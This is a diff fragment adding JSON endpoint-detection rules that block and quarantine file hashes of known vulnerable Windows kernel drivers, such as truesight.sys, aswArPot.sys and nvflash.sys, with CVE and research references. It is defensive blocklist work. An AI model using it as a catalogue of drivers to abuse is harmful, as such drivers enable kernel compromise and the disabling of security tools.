+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474263Z",
+  "creation_date": "2026-03-23T11:45:31.474267Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474275Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9111e37a8b6b1ac41c4c909660301743cb1edf817555cce6c896a59ffe2025ec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f553e4d-ecb2-57aa-98df-5fd95309f1db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617592Z",
+  "creation_date": "2026-03-23T11:45:29.617594Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617600Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8dca2ad045a9af1cdfc26d82fa7c581448aee098439fa21eee23d4c468a08560",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f5d25b4-e381-5bdf-9af9-d88b207e31c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479953Z",
+  "creation_date": "2026-03-23T11:45:30.479956Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479963Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0285024823009ff4865ba119ebdd3712aa40406d33a45d9f93ef51525d20aa34",
+  "comment": "Vulnerable AMD uProf Kernel Driver (aka AMDCpuProfiler.sys) [CVE-2023-20562] [https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f61805c-7dba-52bb-aa24-9c4285520e74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819054Z",
+  "creation_date": "2026-03-23T11:45:30.819056Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819061Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7036cd12dc9e3550239310fd8ff4f14e4266bbd0de3aba7b087068a253b506b",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f786451-924c-51e6-9e42-39b847fdfc3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453223Z",
+  "creation_date": "2026-03-23T11:45:30.453227Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453237Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c859b3d11d2ff0049b644a19f3a316a8ca1a4995aa9c39991a7bde8d4f426a4",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f8c58aa-4971-55f8-add3-a1bc39565f11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828759Z",
+  "creation_date": "2026-03-23T11:45:31.828761Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828767Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8aeaca6eadb98b98a453403b2e2051e1392da2b59b69ed0444661cd0db7fb3ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7f8ee504-40a9-59cb-872b-5b43b20f5bdb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970054Z",
+  "creation_date": "2026-03-23T11:45:29.970056Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970061Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d92b2f58c8fca3d3634b0c20578edd5004df571b29790690c97255e6096442c6",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7fa374c9-6e50-528d-b118-8040b020f22c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830240Z",
+  "creation_date": "2026-03-23T11:45:30.830242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830248Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc246ddc41cfa6896e1a9a81bc1927ed04ab2a77ac45fadc50fa332cedfd26df",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7fad973a-0613-5512-9027-d42f16cb4155",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828790Z",
+  "creation_date": "2026-03-23T11:45:30.828792Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb89285f84fb13f7a5776abe89fe53303ee909d1b42b3bd7b89eb6b7429f429b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7fd9d383-48e9-5135-904e-7db00eb28243",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824512Z",
+  "creation_date": "2026-03-23T11:45:30.824515Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824522Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44e47c0a575abda6ced0dfcf4061eac2d01b229bd04bce7c760466d638c7b5d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7fe759aa-0c6e-522f-8f57-c460d3716321",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830383Z",
+  "creation_date": "2026-03-23T11:45:31.830386Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830394Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b368de498601571722e619cf2fd65007c24351120687e1b887086db2482e0021",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ff1d88f-c986-5d33-a3e3-d9efca2affa8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498495Z",
+  "creation_date": "2026-03-23T11:45:31.498498Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498507Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d3b620b41cd43c1feeadb5cdd8e9668b8b68c6bcbdfde5c5d7ad10baa05349e5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ffd1aa0-839a-581e-a7c5-6ffc7089c546",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618859Z",
+  "creation_date": "2026-03-23T11:45:29.618861Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618866Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae7d7d8a5bc48f2fb1dc81806a5eed52c3efc487cfdc8737d3ea3970dca7ce27",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80000f78-d503-5a0d-a3c9-530804b7ce0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975752Z",
+  "creation_date": "2026-03-23T11:45:29.975754Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975759Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6aa427e7230a2b077bfecade35ffff67b2f15c051cf92fd207a3412c747f83c3",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8000d607-a865-5207-83a1-a7a95cf66aeb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473796Z",
+  "creation_date": "2026-03-23T11:45:31.473800Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473811Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0d7e6e23fc631ed0c11093706346317f4f595791e47a8181a0ef633e5756faa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "800cf905-22be-544b-b07c-87fb3574f920",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819743Z",
+  "creation_date": "2026-03-23T11:45:30.819745Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819750Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae3a6a0726f667658fc3e3180980609dcb31bdbf833d7cb76ba5d405058d5156",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8011e70b-92dc-56c8-ad91-7b83c970a2d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153524Z",
+  "creation_date": "2026-03-23T11:45:31.153526Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153532Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0878201bd1efa4c49a78d317d80a63778e501f4047e2d21784692a88ab2eb2d8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80337d1f-2212-5313-b400-21e2c955bae3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621863Z",
+  "creation_date": "2026-03-23T11:45:29.621865Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621883Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e955e57f078a2c0de7d113e85859bb3e0fcac772a5a1b9b9709a90a86ef4cd5",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "803707d2-e087-506b-9f1a-dd84f971aca8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828333Z",
+  "creation_date": "2026-03-23T11:45:31.828336Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828344Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "258d710911124ef857fd95e17754327c18442364a35c102f7e9fcb9fe4a1dbfb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8037e9f8-2545-5978-8b6b-d11783d02a08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824421Z",
+  "creation_date": "2026-03-23T11:45:30.824423Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824428Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e344e75f109f239594ef460dd71465830f14eb4c6001a9d36af76ccc51ed7cc7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8040f2f3-c2a7-529d-a564-9e9f9b123ba3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826367Z",
+  "creation_date": "2026-03-23T11:45:31.826369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826374Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d217c8e84ce38732611fdd26a28f0a1f5d216b885ea3650d6c70d107c9dd44db",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8041b3a8-dea2-5c12-95f7-2c3c144ee9b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969888Z",
+  "creation_date": "2026-03-23T11:45:29.969890Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8b5fddf52551259d7d936283aa4fdc4579c5e4b030a11267496cdbdc143e15b",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8043e944-c2f3-531c-a4e6-5b0031bdd650",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808294Z",
+  "creation_date": "2026-03-23T11:45:31.808297Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
